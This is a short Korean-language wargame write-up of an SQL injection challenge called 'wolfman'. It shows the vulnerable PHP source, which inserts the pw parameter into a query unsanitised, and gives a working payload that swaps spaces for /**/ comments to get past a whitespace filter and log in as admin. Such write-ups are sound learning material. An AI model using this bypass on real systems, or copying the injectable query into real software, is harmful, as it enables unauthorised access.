<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
제시된 코드
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
prob, _, . ,(, ), -> "No Hack ~~"
공백 입력하면 -> "No whitespace ~~"
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
쿼리문에서 pw를 그대로 쿼리에 삽입 -> sqli 가능
if($result['id'] == 'admin') solve("wolfman");
id가 admin이면 solve
이 문제에서는 공백을 우회해야 함
/**/ 주석
: 공백처럼 동작 가능
'/**/or/**/id='admin
=> guest의 pw를 주석처리하고 id='admin'이 나오도록
